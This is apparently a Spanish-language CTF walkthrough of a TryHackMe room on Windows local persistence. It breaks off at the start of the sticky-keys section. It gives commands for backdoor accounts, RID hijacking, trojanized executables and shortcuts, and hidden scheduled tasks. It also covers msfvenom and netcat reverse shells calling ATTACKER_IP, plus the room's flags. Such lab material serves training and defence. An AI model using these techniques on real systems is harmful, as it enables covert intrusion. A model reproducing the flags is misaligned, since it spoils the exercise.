Saltar al contenido
Portada » Blog – Laprovittera Carlos » TryHackMe CompTIA Pentest+ Windows Local Persistence

TryHackMe CompTIA Pentest+ Windows Local Persistence

Hola hacketones! Bienvenidos a un nuevo CTF hoy veremos: TryHackMe CompTIA Pentest+ Windows Local Persistence 

Persistencia local de Windows

Tarea 1 Introducción

Después de obtener el primer punto de apoyo en la red interna de tu objetivo, querrás asegurarte de no perder el acceso a ella antes de llegar a las joyas de la corona. Establecer   persistencia   es una de las primeras tareas que tendremos como atacantes al obtener acceso a una red. En términos sencillos,  persistencia  Se refiere a la creación de formas alternativas de recuperar el acceso a un host sin tener que pasar de nuevo por la fase de explotación.

Hay muchas razones por las que querrías establecer persistencia lo más rápido posible, incluyendo:

  • La re explotación no siempre es posible : algunos exploits inestables pueden matar el proceso vulnerable durante la explotación, lo que te da una sola oportunidad para atacar a algunos de ellos.
  • Es difícil reproducir el hecho de obtener una posición de apoyo : por ejemplo, si utilizaste un phishing Si bien realizar una campaña para obtener el primer acceso es un esfuerzo excesivo, repetirla para recuperar el acceso a un servidor también puede resultar contraproducente. Además, una segunda campaña podría no ser tan efectiva, dejándote sin acceso a la red.
  • El equipo azul Te persigue : Cualquier vulnerabilidad utilizada para obtener tu primer acceso podría ser corregida si tus acciones son detectadas. ¡Estás en una carrera contra el reloj!

Si bien podrías guardar el hash de la contraseña de algún administrador y reutilizarlo para volver a conectarte, siempre corres el riesgo de que esas credenciales roten en algún momento. Además, hay formas más astutas de recuperar el acceso a una máquina comprometida, lo que dificulta la vida del equipo azul.

En esta sala, analizaremos las técnicas más comunes que utilizan los atacantes para establecer persistencia en sistemas Windows. Antes de entrar en esta sala, se recomienda familiarizarse con los fundamentos de los sistemas Windows. Puede consultar salas sobre el tema en los siguientes enlaces:

PowerShell También se utiliza ampliamente en toda esta sala. Puedes obtener más información al respecto en  Hacking withPowerShell habitación.

Tarea 2 Manipulación de cuentas no privilegiadas

Tener credenciales de administrador sería la forma más fácil de lograrlo. persistencia en una máquina. Para detectarnos, podemos manipular a los usuarios sin privilegios, que normalmente no son supervisados ​​tanto como los administradores, y otorgarles privilegios administrativos de alguna manera.

Haga clic en el botón Iniciar máquina en esta tarea antes de continuar. La máquina estará disponible en su navegador web, pero si prefiere conectarse a través de RDP Puedes utilizar las siguientes credenciales:

UsernameAdministrator
PasswordPassword321

Nota: Cuando inicie sesión a través de RDP, la vista existente en el navegador se desconectará. Después de finalizar su RDP En la sesión, puede recuperar la vista en el navegador pulsando Reconectar .

Tenga en cuenta que asumimos que ya ha obtenido acceso administrativo de alguna manera y está tratando de establecer persistencia de eso.

Asignar membresías de grupo

Para esta parte de la tarea, asumiremos que usted ha extraído los hashes de las contraseñas de la máquina víctima y ha descifrado con éxito las contraseñas de las cuentas no privilegiadas en uso.

La forma directa de otorgar privilegios administrativos a un usuario sin privilegios es agregarlo al grupo de administradores . Podemos lograr esto fácilmente con el siguiente comando:

C:\> net localgroup administrators thmuser0 /add

Esto le permitirá acceder al servidor mediante RDP, WinRM o cualquier otro servicio de administración remota disponible.

Si esto resulta demasiado sospechoso, puede utilizar el grupo Operadores de copia de seguridad . Los usuarios de este grupo no tendrán privilegios administrativos, pero podrán leer y escribir cualquier archivo o clave de registro del sistema, sin tener en cuenta las listas de control de acceso (DACL) configuradas. Esto nos permitiría copiar el contenido de los subárboles de registro SAM y SYSTEM, que luego podríamos usar para recuperar los hashes de las contraseñas de todos los usuarios, lo que nos permitiría obtener acceso a cualquier cuenta administrativa fácilmente.

Para ello, comenzamos agregando la cuenta al grupo Operadores de copia de seguridad:

Símbolo del sistema

C:\> net localgroup «Backup Operators» thmuser1 /add

Dado que se trata de una cuenta no privilegiada, no puedeRDPo WinRM de vuelta a la máquina a menos que lo agreguemos a los Usuarios de Escritorio remoto (RDP) o grupos de Usuarios de administración remota (WinRM). Usaremos WinRM para esta tarea:

Símbolo del sistema

C:\> net localgroup «Remote Management Users» thmuser1 /add

Supondremos que ya hemos guardado las credenciales en el servidor y que tenemos la contraseña de thmuser1. Conectémonos mediante WinRM usando sus credenciales:

Nombre de usuariothmuser1
ContraseñaPassword321

Si intentaras conectarte ahora mismo desde tu máquina atacante, te sorprendería ver que, incluso perteneciendo al grupo de Operadores de Copias de Seguridad, no podrías acceder a todos los archivos como se espera. Una rápida comprobación de nuestros grupos asignados indicaría que formamos parte de Operadores de Copias de Seguridad, pero el grupo está deshabilitado.

Esto se debe al Control de cuentas de usuario (UAC). Una de las funciones implementadas por UAC,  LocalAccountTokenFilterPolicy , elimina los privilegios administrativos de cualquier cuenta local al iniciar sesión de forma remota. Si bien puede elevar sus privilegios mediante UAC desde una sesión gráfica de usuario (consulte más información sobre UAC aquí ), si utiliza WinRM, tendrá un token de acceso limitado sin privilegios administrativos.

Para poder recuperar los privilegios de administrador de su usuario, tendremos que deshabilitar LocalAccountTokenFilterPolicy cambiando la siguiente clave de registro a 1:

C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

Una vez que todo esto esté configurado, estaremos listos para usar nuestro usuario de puerta trasera. Primero, establezcamos una conexión WinRM y verifiquemos que el grupo Operadores de copia de seguridad esté habilitado para nuestro usuario:

A continuación, procedemos a realizar una copia de seguridad de los archivos SAM y SYSTEM y a descargarlos en nuestra máquina atacante:

Nota: Si Evil-WinRM tarda demasiado en descargar los archivos, puede utilizar cualquier otro método de transferencia.Con esos archivos, podemos extraer los hashes de las contraseñas de todos los usuarios utilizando secretsdump.pyherramientas similares:

Y, por último, realice un ataque Pass-the-Hash para conectarse a la máquina víctima con privilegios de administrador:

Utilizando la consola de administrador obtenida a través de thmuser1, ejecute C:\flags\flag1.exe para recuperar su bandera.

Privilegios especiales y descriptores de seguridad

Se puede lograr un resultado similar al de agregar un usuario al grupo Operadores de copia de seguridad sin modificar la pertenencia a ningún grupo. Los grupos especiales son especiales solo porque el sistema operativo les asigna privilegios específicos por defecto. Los privilegios son simplemente la capacidad de realizar una tarea en el propio sistema. Incluyen desde acciones sencillas como apagar el servidor hasta operaciones con privilegios muy elevados, como poder tomar posesión de cualquier archivo del sistema. Puede encontrar una lista completa de los privilegios disponibles aquí.(Se abre en una pestaña nueva)Para referencia.

En el caso del grupo Operadores de copia de seguridad, tiene asignados por defecto los dos privilegios siguientes:

  • SeBackupPrivilege: El usuario puede leer cualquier archivo del sistema, ignorando cualquier DACL existente.
  • SeRestorePrivilege: El usuario puede escribir en cualquier archivo del sistema, ignorando cualquier DACL existente.

Podemos asignar dichos privilegios a cualquier usuario, independientemente de su pertenencia a grupos. Para ello, podemos usar el seceditcomando. Primero, exportaremos la configuración actual a un archivo temporal:

secedit /export /cfg config.inf

Abrimos el archivo y añadimos nuestro usuario a las líneas de configuración relativas a SeBackupPrivilege y SeRestorePrivilege:

Finalmente, convertimos el archivo .inf en un archivo .sdb, que luego se utiliza para cargar la configuración de nuevo en el sistema:

Ahora debería tener un usuario con privilegios equivalentes a los de cualquier operador de copia de seguridad. El usuario aún no puede iniciar sesión en el sistema mediante WinRM, así que vamos a solucionarlo. En lugar de agregarlo al grupo de Usuarios de administración remota, modificaremos el descriptor de seguridad asociado al servicio WinRM para permitir la conexión de thmuser2. Un descriptor de seguridad es similar a una lista de control de acceso (ACL), pero aplicada a otras funciones del sistema.

Para abrir la ventana de configuración del descriptor de seguridad de WinRM, puede usar el siguiente comando en PowerShell (necesitará usar la sesión de la interfaz gráfica de usuario para esto):

Set-PSSessionConfiguration-Name Microsoft.PowerShell -showSecurityDescriptorUI

Esto abrirá una ventana donde podrá agregar thmuser2 y asignarle privilegios completos para conectarse a WinRM:

Una vez hecho esto, nuestro usuario puede conectarse mediante WinRM. Dado que el usuario tiene los privilegios SeBackup y SeRestore, podemos repetir los pasos para recuperar los hashes de las contraseñas del SAM y volver a conectarnos con el usuario administrador.

Tenga en cuenta que para que este usuario pueda trabajar con los privilegios otorgados por completo, tendría que modificar la clave de registro LocalAccountTokenFilterPolicy , pero ya lo hemos hecho para obtener la bandera anterior.

Si revisas las membresías de grupo de tu usuario, parecerá un usuario normal. ¡No hay nada sospechoso!

Una vez más, asumiremos que ya hemos volcado las credenciales en el servidor y tenemos la contraseña de thmuser2. Conectémonos con sus credenciales usando WinRM:

Usernamethmuser2
PasswordPassword321

Podemos iniciar sesión con esas credenciales para obtener la bandera.

Inicie sesión en la máquina a través de WinRM usando thmuser2 y ejecute el comando C:\flags\flag2.exepara recuperar su bandera.

Secuestro de RID

Otro método para obtener privilegios administrativos sin ser administrador consiste en modificar algunos valores del registro para que el sistema operativo piense que usted es el administrador.

Cuando se crea un usuario, se le asigna un identificador llamado ID relativo (RID) . El RID es simplemente un identificador numérico que representa al usuario en todo el sistema. Cuando un usuario inicia sesión, el proceso LSASS obtiene su RID del registro SAM y crea un token de acceso asociado a dicho RID. Si podemos manipular el valor del registro, podemos hacer que Windows asigne un token de acceso de administrador a un usuario sin privilegios asociando el mismo RID a ambas cuentas.

En cualquier sistema Windows, a la cuenta de administrador predeterminada se le asigna el RID = 500 , y los usuarios normales suelen tener un RID >= 1000 .

Para encontrar los RID asignados a cualquier usuario, puede utilizar el siguiente comando:

El RID es la última parte del SID (1010 para thmuser3 y 500 para Administrator). El SID es un identificador que permite al sistema operativo identificar a un usuario en un dominio, pero no nos detendremos demasiado en el resto para esta tarea.

Ahora solo tenemos que asignar el RID=500 a thmuser3. Para ello, necesitamos acceder al SAM mediante Regedit. El SAM está restringido únicamente a la cuenta SYSTEM, por lo que ni siquiera el administrador podrá editarlo. Para ejecutar Regedit como SYSTEM, utilizaremos psexec, disponible en C:\tools\pstoolssu máquina:

Símbolo del sistema

C:\tools\pstools> PsExec64.exe -i -s regedit

Desde Regedit, iremos a HKLM\SAM\SAM\Domains\Account\Users\donde habrá una clave para cada usuario en la máquina. Como queremos modificar thmuser3, necesitamos buscar una clave con su RID en hexadecimal (1010 = 0x3F2). Debajo de la clave correspondiente, habrá un valor llamado F , que contiene el RID efectivo del usuario en la posición 0x30:

Observe que el RID se almacena utilizando la notación little-endian, por lo que sus bytes aparecen invertidos.

Ahora reemplazaremos esos dos bytes con el RID del administrador en hexadecimal (500 = 0x01F4), intercambiando los bytes (F401):

La próxima vez que thmuser3 inicie sesión, LSASS lo asociará con el mismo RID que el administrador y le otorgará los mismos privilegios.

Para esta tarea, asumimos que ya ha comprometido el sistema y obtenido la contraseña de thmuser3. Para su comodidad, el usuario puede conectarse mediante RDP con las siguientes credenciales:

Nombre de usuariothmuser3
ContraseñaPassword321

Si hiciste todo correctamente, deberías haber iniciado sesión en el escritorio del administrador. 

Nota: Al iniciar sesión mediante RDP, la vista en el navegador se desconectará. Después de finalizar la sesión RDP, puede recuperar la vista en el navegador pulsando Reconectar .  

Inicie sesión en la máquina a través de RDP usando thmuser3 y ejecute el comando C:\flags\flag3.exepara recuperar su bandera.

Responda las siguientes preguntas

Inserta aquí la bandera1

THM{FLAG_BACKED_UP!}

Inserta aquí la bandera2

THM{IM_JUST_A_NORMAL_USER}

Inserta aquí la bandera3

THM{TRUST_ME_IM_AN_ADMIN}

Tarea 3Archivos de acceso no autorizado

Otro método para establecer persistencia Consiste en manipular algunos archivos con los que el usuario interactúa con regularidad. Al modificarlos, podemos instalar puertas traseras que se ejecutarán cada vez que el usuario acceda a ellos. Dado que no queremos generar alertas que puedan delatar nuestra intrusión, los archivos que alteremos deben seguir funcionando correctamente para el usuario.

Si bien existen muchas oportunidades para instalar puertas traseras, revisaremos las más utilizadas.

Archivos ejecutables

Si encuentras algún archivo ejecutable en el escritorio, es muy probable que el usuario lo utilice con frecuencia. Supongamos que encontramos un acceso directo a PuTTY. Si revisamos las propiedades del acceso directo, podríamos ver que (normalmente) apunta a C:\Program Files\PuTTY\putty.exe. A partir de ahí, podríamos descargar el ejecutable al equipo del atacante y modificarlo para ejecutar cualquier malware que quisiéramos.

Puedes insertar fácilmente una carga útil de tu preferencia en cualquier archivo .exe con msfvenom. El binario seguirá funcionando como de costumbre, pero ejecutará una carga útil adicional de forma silenciosa añadiendo un hilo extra a tu binario. Para crear un archivo putty.exe con puerta trasera, podemos usar el siguiente comando:

msfvenom -a x64 –platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b «\x00» -f exe -o puttyX.exe

El archivo puttyX.exe resultante ejecutará una carga útil de Meterpreter con protocolo TCP inverso sin que el usuario se dé cuenta. Si bien este método es suficiente para establecer  persistencia , veamos otras técnicas más sutiles.

Archivos de acceso directo

Si no queremos modificar el ejecutable, siempre podemos alterar el archivo de acceso directo. En lugar de apuntar directamente al ejecutable esperado, podemos cambiarlo para que apunte a un script que ejecute una puerta trasera y luego el programa habitual.

Para esta tarea, vamos a comprobar el acceso directo a la calculadora en el escritorio del administrador. Si hacemos clic con el botón derecho y vamos a propiedades, veremos a dónde apunta:

Antes de secuestrar el destino del acceso directo, vamos a crear un script de PowerShell sencillo en C:\Windows\System32o en cualquier otra ubicación oculta. El script ejecutará un shell inverso y luego ejecutará calc.exe desde la ubicación original en las propiedades del acceso directo:

Start-Process-NoNewWindow «c:\tools\nc64.exe»»-e cmd.exe ATTACKER_IP 4445″

C:\Windows\System32\calc.exe

Finalmente, cambiaremos el acceso directo para que apunte a nuestro script. Tenga en cuenta que el icono del acceso directo podría ajustarse automáticamente durante este proceso. Asegúrese de que el icono vuelva a apuntar al ejecutable original para que el usuario no vea ningún cambio. También queremos ejecutar nuestro script en una ventana oculta, para lo cual agregaremos la -windowstyle hiddenopción a PowerShell. El destino final del acceso directo sería:

powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Vamos a iniciar un oyente nc para recibir nuestra shell inversa en la máquina de nuestro atacante:

user@AttackBox$nc-lvp4445

Si haces doble clic en el acceso directo, deberías establecer una conexión con el equipo del atacante. Mientras tanto, el usuario verá la calculadora, tal como esperaba. Probablemente notarás que aparece y desaparece rápidamente una ventana de comandos en tu pantalla. Esperemos que a un usuario normal no le importe demasiado. 

¡Ejecuta C:\flags\flag5.exedesde tu shell inversa para obtener tu bandera!

Secuestro de asociaciones de archivos

Además de persistir a través de archivos ejecutables o accesos directos, podemos interceptar cualquier asociación de archivos para forzar al sistema operativo a ejecutar un intérprete de comandos cada vez que el usuario abra un tipo de archivo específico.

Las asociaciones de archivos predeterminadas del sistema operativo se guardan en el registro, donde se almacena una clave para cada tipo de archivo HKLM\Software\Classes\. Digamos que queremos comprobar qué programa se usa para abrir archivos .txt; podemos simplemente buscar la .txtsubclave y encontrar el ID programático (ProgID)  asociado. Un ProgID es simplemente un identificador de un programa instalado en el sistema. Para los archivos .txt, tendremos el siguiente ProgID:

A continuación, podemos buscar una subclave para el ProgID correspondiente (también en HKLM\Software\Classes\), en este caso,  txtfile, donde encontraremos una referencia al programa encargado de gestionar los archivos .txt. La mayoría de las entradas de ProgID tendrán una subclave en shell\open\commanddonde se especifica el comando predeterminado que se ejecutará para los archivos con esa extensión:

En este caso, cuando intentas abrir un archivo .txt, el sistema ejecutará %SystemRoot%\system32\NOTEPAD.EXE %1, donde %1representa el nombre del archivo abierto. Si queremos secuestrar esta extensión, podríamos reemplazar el comando con un script que ejecute una puerta trasera y luego abra el archivo como de costumbre. Primero, creemos un script ps1 con el siguiente contenido y guardémoslo en C:\Windows\backdoor2.ps1:

Start-Process-NoNewWindow «c:\tools\nc64.exe»»-e cmd.exe ATTACKER_IP 4448″

C:\Windows\system32\NOTEPAD.EXE $args[0]

Observa cómo enPowerShell, tenemos que pasarlo $args[0]al Bloc de notas, ya que contendrá el nombre del archivo que se va a abrir, como se indica a través de %1.

Ahora vamos a cambiar la clave del registro para ejecutar nuestro script de puerta trasera en una ventana oculta:

Finalmente, crea un oyente para tu shell inversa e intenta abrir cualquier archivo .txt en la máquina víctima (créalo si es necesario). Deberías obtener una shell inversa con los privilegios del usuario que abre el archivo.

Una vez que hayas creado una puerta trasera en el manejador de archivos .txt y hayas generado una shell inversa, ¡ejecuta el comando C:\flags\flag6.exepara obtener una bandera!

Responda las siguientes preguntas

Inserta aquí la bandera5

THM{NO_SHORTCUTS_IN_LIFE}

Inserta aquí la bandera 6

THM{TXT_FILES_WOULD_NEVER_HURT_YOU}

Tarea 4 Abuso de los servicios

Los servicios de Windows ofrecen una excelente manera de establecer persistencia Dado que se pueden configurar para que se ejecuten en segundo plano cada vez que se inicie la máquina víctima, si podemos aprovechar algún servicio para que ejecute alguna tarea por nosotros, podremos recuperar el control de la máquina víctima cada vez que se inicie.

Un servicio es básicamente un ejecutable que se ejecuta en segundo plano. Al configurar un servicio, se define qué ejecutable se utilizará y se selecciona si el servicio se ejecutará automáticamente al iniciar el equipo o si deberá iniciarse manualmente.

Hay dos formas principales en que podemos abusar de los servicios para establecer persistencia : crear un nuevo servicio o modificar uno existente para ejecutar nuestra carga útil.

Creación de servicios de puerta trasera

Podemos crear e iniciar un servicio llamado «THMservice» utilizando los siguientes comandos:

sc.exe create THMservice binPath= «net user Administrator Passwd123» start= auto
sc.exe start THMservice

Nota: Debe haber un espacio después de cada signo de igual para que el comando funcione.

El comando «net user» se ejecutará al iniciar el servicio, restableciendo la contraseña del administrador Passwd123. Observe cómo el servicio se ha configurado para iniciarse automáticamente (start=auto), de modo que se ejecuta sin requerir la interacción del usuario.

Restablecer la contraseña de un usuario funciona bastante bien, pero también podemos crear una shell inversa con msfvenom y asociarla con el servicio creado. Sin embargo, tenga en cuenta que los ejecutables de servicio son únicos, ya que necesitan implementar un protocolo específico para que el sistema los procese. Si desea crear un ejecutable compatible con los servicios de Windows, puede usar el exe-serviceformato en msfvenom:

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448-fexe-service -orev-svc.exe

Luego puedes copiar el ejecutable a tu sistema de destino, por ejemplo, C:\Windowsy apuntar la variable binPath del servicio hacia él:

sc.exe create THMservice2 binPath= «C:\windows\rev-svc.exe» start= auto
sc.exe start THMservice2

Esto debería crear una conexión con la máquina de tu atacante.

Utilice la shell inversa que acaba de obtener para ejecutarC:\flags\flag7.exe

Modificación de los servicios existentes

Si bien la creación de nuevos servicios para la  persistencia  funciona bastante bien, el equipo de seguridad podría monitorear la creación de nuevos servicios en la red. Para evitar la detección, podríamos reutilizar un servicio existente en lugar de crear uno nuevo. Generalmente, cualquier servicio deshabilitado sería un buen candidato, ya que podría modificarse sin que el usuario se dé cuenta.

Puedes obtener una lista de los servicios disponibles utilizando el siguiente comando:

Debería poder encontrar un servicio detenido llamado THMService3. Para consultar la configuración del servicio, puede utilizar el siguiente comando:

Hay tres cosas que nos importan al usar un servicio para la  persistencia :

  • El ejecutable ( BINARY_PATH_NAME ) debe apuntar a nuestra carga útil.
  • El servicio START_TYPE debe ser automático para que la carga útil se ejecute sin interacción del usuario.
  • El parámetro SERVICE_START_NAME , que es la cuenta bajo la cual se ejecutará el servicio, debería configurarse preferiblemente como LocalSystem para obtener privilegios de SYSTEM.

Comencemos creando una nueva shell inversa con msfvenom:

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558-fexe-service -orev-svc2.exe

Para reconfigurar los parámetros de «THMservice3», podemos usar el siguiente comando:

C:\> sc.exe config THMservice3 binPath= «C:\Windows\rev-svc2.exe» start= auto obj= «LocalSystem»

A continuación, puede consultar de nuevo la configuración del servicio para comprobar si todo ha ido según lo previsto:

Inicia un oyente de Metasploit en la máquina de tu atacante e inicia manualmente el servicio para recibir una shell inversa. Desde allí, ejecuta el comando C:\flags\flag8.exepara obtener una bandera.

Answer the questions below

Insert flag7 here

THM{SUSPICIOUS_SERVICES}

Insert flag8 here

THM{IN_PLAIN_SIGHT}

 Tarea 5 Abuso de tareas programadas

También podemos utilizar tareas programadas para establecer persistencia Si es necesario. Existen varias formas de programar la ejecución de una carga útil en sistemas Windows. Veamos algunas de ellas:

 Planificador de tareas

La forma más común de programar tareas es mediante el programador de tareas integrado de Windows . Este programador permite un control preciso de cuándo se iniciará la tarea, lo que permite configurar tareas que se activen a horas específicas, se repitan periódicamente o incluso se activen cuando ocurran eventos específicos del sistema. Desde la línea de comandos, puede schtasksinteractuar con el programador de tareas. Encontrará una referencia completa del comando en el sitio web de Microsoft.(Se abre en una pestaña nueva).

Vamos a crear una tarea que ejecute una shell inversa cada minuto. En un escenario real, no querrías que tu payload se ejecutara con tanta frecuencia, pero no queremos esperar demasiado para esta sala:

Nota: Asegúrate de usar THM-TaskBackdoorcomo nombre de tu tarea, o no obtendrás la bandera.

El comando anterior creará un «THM-TaskBackdoor» tarea y ejecuta una  nc64shell inversa hacia el atacante. Las opciones /scy /moindican que la tarea debe ejecutarse cada minuto. La /ruopción indica que la tarea se ejecutará con privilegios de SYSTEM.

Para comprobar si nuestra tarea se creó correctamente, podemos usar el siguiente comando:

Haciendo invisible nuestra tarea

Nuestra tarea ya debería estar en funcionamiento, pero si el usuario comprometido intenta consultar sus tareas programadas, nuestra vulnerabilidad será evidente. Para ocultarla aún más, podemos hacerla invisible para cualquier usuario del sistema eliminando su Descriptor de Seguridad (DS) . El descriptor de seguridad es simplemente una Lista de Control de Acceso (ACL) que indica qué usuarios tienen acceso a la tarea programada. Si su usuario no tiene permiso para consultar una tarea programada, ya no podrá verla, ya que Windows solo muestra las tareas que usted tiene permiso para usar. Eliminar el DS equivale a impedir el acceso a la tarea programada a todos los usuarios, incluidos los administradores.

Los descriptores de seguridad de todas las tareas programadas se almacenan en HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\. Encontrarás una clave de registro para cada tarea, bajo la cual un valor llamado «SD» contiene el descriptor de seguridad. Solo puedes borrar este valor si tienes privilegios de SYSTEM.

Para ocultar nuestra tarea, vamos a eliminar el valor SD de la tarea «THM-TaskBackdoor» que creamos anteriormente. Para ello, utilizaremos psexec(disponible en C:\tools) para abrir Regedit con privilegios de SYSTEM:

C:\> c:\tools\pstools\PsExec64.exe -s -i regedit

A continuación, eliminaremos el descriptor de seguridad de nuestra tarea:

:

Si intentamos consultar nuestro servicio de nuevo, el sistema nos dirá que no existe tal tarea:

C:\> schtasks /query /tn thm-taskbackdoor ERROR: The system cannot find the file specified.

Si iniciamos un oyente nc en la máquina de nuestro atacante, deberíamos obtener una shell después de un minuto:

user@AttackBox$nc-lvp4449

Utilice la shell inversa obtenida a través del programador de tareas y ejecútela C:\flags\flag9.exepara recuperar una bandera.

Responda las siguientes preguntas

Inserta aquí la bandera9

THM{JUST_A_MATTER_OF_TIME}

Tarea 6 Persistencia activada por inicio de sesión

Algunas acciones realizadas por un usuario también podrían estar vinculadas a la ejecución de cargas útiles específicas para persistencia Los sistemas operativos Windows ofrecen varias maneras de vincular cargas útiles con interacciones específicas. Esta tarea analizará cómo insertar cargas útiles que se ejecutarán cuando un usuario inicie sesión en el sistema.

Carpeta de inicio

Cada usuario tiene una carpeta C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupdonde puede colocar archivos ejecutables que se ejecutarán cada vez que inicie sesión. Un atacante puede lograr  persistencia  simplemente colocando una carga útil en esa carpeta. Tenga en cuenta que cada usuario solo ejecutará lo que esté disponible en su carpeta.

Si queremos obligar a todos los usuarios a ejecutar una carga útil al iniciar sesión, podemos usar la carpeta que se encuentra debajo C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp de la misma manera.

Para esta tarea, vamos a generar una carga útil de shell inversa usando msfvenom:

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450-fexe -orevshell.exe

Luego copiaremos nuestra carga útil en la máquina víctima. Puedes iniciar un proceso http.servercon Python3 y usar wget en la máquina víctima para descargar tu archivo:

Caja de ataque user@AttackBox$python3 -mhttp.server Serving HTTP on 0.0.0.0 port 8000 ( http://0.0.0.0:8000/) …PowerShell PS C:\> wget http://ATTACKER_IP:8000/revshell.exe -O revshell.exe

Luego, almacenamos la carga útil en la C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUpcarpeta para obtener una consola para cualquier usuario que inicie sesión en la máquina.

C:\> copy revshell.exe «C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\»

Ahora asegúrese de cerrar sesión desde el menú de inicio (cerrar la ventana de RDP no es suficiente, ya que deja la sesión abierta):

Y vuelva a iniciar sesión mediante RDP. Debería recibir inmediatamente una conexión con la máquina de su atacante.

¡Usa la shell que acabas de obtener para ejecutar el comando C:\flags\flag10.exey conseguir tu bandera!

Ejecutar / Ejecutar una vez

También puedes obligar a un usuario a ejecutar un programa al iniciar sesión a través del registro. En lugar de colocar tu carga útil en un directorio específico, puedes usar las siguientes entradas del registro para especificar las aplicaciones que se ejecutarán al iniciar sesión:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Las entradas del registro en HKCUse aplicarán únicamente al usuario actual, y las que HKLMse apliquen a todos. Cualquier programa especificado en las Runclaves se ejecutará cada vez que el usuario inicie sesión. Los programas especificados en las RunOnceclaves se ejecutarán solo una vez.

Para esta tarea, vamos a crear una nueva shell inversa con msfvenom:

Caja de ataque

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451-fexe -orevshell.exe

Después de transferirlo a la máquina víctima, vamos a moverlo a C:\Windows\:

Símbolo del sistema

C:\> move revshell.exe C:\Windows

Vamos a crear entonces una REG_EXPAND_SZentrada de registro en HKLM\Software\Microsoft\Windows\CurrentVersion\Run. El nombre de la entrada puede ser cualquiera que desees, y el valor será el comando que queremos ejecutar.

Nota: Si bien en una configuración del mundo real podría usar cualquier nombre para su entrada de registro, para esta tarea se requiere que use MyBackdoor para recibir la bandera.

Después de hacer esto, cierra la sesión actual y vuelve a iniciarla; deberías recibir una consola (probablemente tardará entre 10 y 20 segundos).

¡Usando la shell que acabas de obtener, ejecuta el comando C:\flags\flag11.exepara conseguir una bandera!

Inicio de sesión de Winlogon

Otra alternativa para iniciar programas automáticamente al iniciar sesión es abusar de Winlogon, el componente de Windows que carga el perfil de usuario justo después de la autenticación (entre otras cosas).

Winlogon utiliza algunas claves de registro HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\que podrían ser interesantes para lograr  persistencia :

  • Userinitapunta a userinit.exe, que se encarga de restaurar las preferencias de tu perfil de usuario.
  • shellapunta al shell del sistema, que suele ser explorer.exe.

Si reemplazáramos alguno de los ejecutables con una shell inversa, interrumpiríamos la secuencia de inicio de sesión, lo cual no es deseable. Curiosamente, se pueden agregar comandos separados por comas, y Winlogon los procesará todos.

Comencemos creando un shell:

Caja de ataque

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452-fexe -orevshell.exe

Transferiremos el shell a nuestra máquina víctima como lo hicimos anteriormente. Luego podemos copiar el shell a cualquier directorio que deseemos. En este caso, utilizaremos C:\Windows:

Símbolo del sistema

C:\> move revshell.exe C:\Windows

Luego modificamos shello Useriniten HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\. En este caso usaremos Userinit, pero el procedimiento con shelles el mismo.

Nota: Si bien tanto shellcomo Userinitpodrían usarse para lograr  persistencia  en un escenario del mundo real, para obtener la bandera en esta habitación, deberá usar Userinit.

Después de hacer esto, cierra la sesión actual y vuelve a iniciarla; deberías recibir una consola (probablemente tardará unos 10 segundos).

¡Usando la shell que acabas de obtener, ejecuta el comando C:\flags\flag12.exepara conseguir una bandera!

Scripts de inicio de sesión

Una de las cosas userinit.exeque hace al cargar tu perfil de usuario es comprobar una variable de entorno llamada UserInitMprLogonScript. Podemos usar esta variable para asignar un script de inicio de sesión a un usuario que se ejecutará al iniciar sesión en la máquina. La variable no está configurada por defecto, así que podemos crearla y asignarle cualquier script que queramos.

Tenga en cuenta que cada usuario tiene sus propias variables de entorno; por lo tanto, deberá acceder a cada una por separado.

Primero vamos a crear una shell inversa para usarla con esta técnica:

Caja de ataque

user@AttackBox$msfvenom -pwindows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453-fexe -orevshell.exe

Transferiremos el shell a nuestra máquina víctima como lo hicimos anteriormente. Luego podemos copiar el shell a cualquier directorio que deseemos. En este caso, utilizaremos C:\Windows:

Símbolo del sistema

C:\> move revshell.exe C:\Windows

Para crear una variable de entorno para un usuario, puede ir a su entrada HKCU\Environmenten el registro. Usaremos la UserInitMprLogonScriptentrada para apuntar a nuestra carga útil, de modo que se cargue cuando el usuario inicie sesión:

Tenga en cuenta que esta clave de registro no tiene equivalente en HKLM, lo que hace que su puerta trasera se aplique solo al usuario actual.

Después de hacer esto, cierra la sesión actual y vuelve a iniciarla; deberías recibir una consola (probablemente tardará unos 10 segundos).

¡Usando la shell que acabas de obtener, ejecuta el comando C:\flags\flag13.exepara conseguir una bandera!

Responda las siguientes preguntas

Inserta aquí la bandera10

THM{NO_NO_AFTER_YOU}

Inserta aquí la bandera11

THM{LET_ME_HOLD_THE_DOOR_FOR_YOU}

Inserta aquí la bandera12

THM{I_INSIST_GO_FIRST}

Inserta aquí la bandera13

THM{USER_TRIGGERED_PERSISTENCE_FTW}

Tarea 7 Acceso no autorizado a la pantalla de inicio de sesión / RDP

Si tenemos acceso físico a la máquina (oRDP(en nuestro caso), se puede eludir la pantalla de inicio de sesión para acceder a una terminal sin tener credenciales válidas para la máquina.

Analizaremos dos métodos que se basan en funciones de accesibilidad para este fin.

Teclas adhesivas

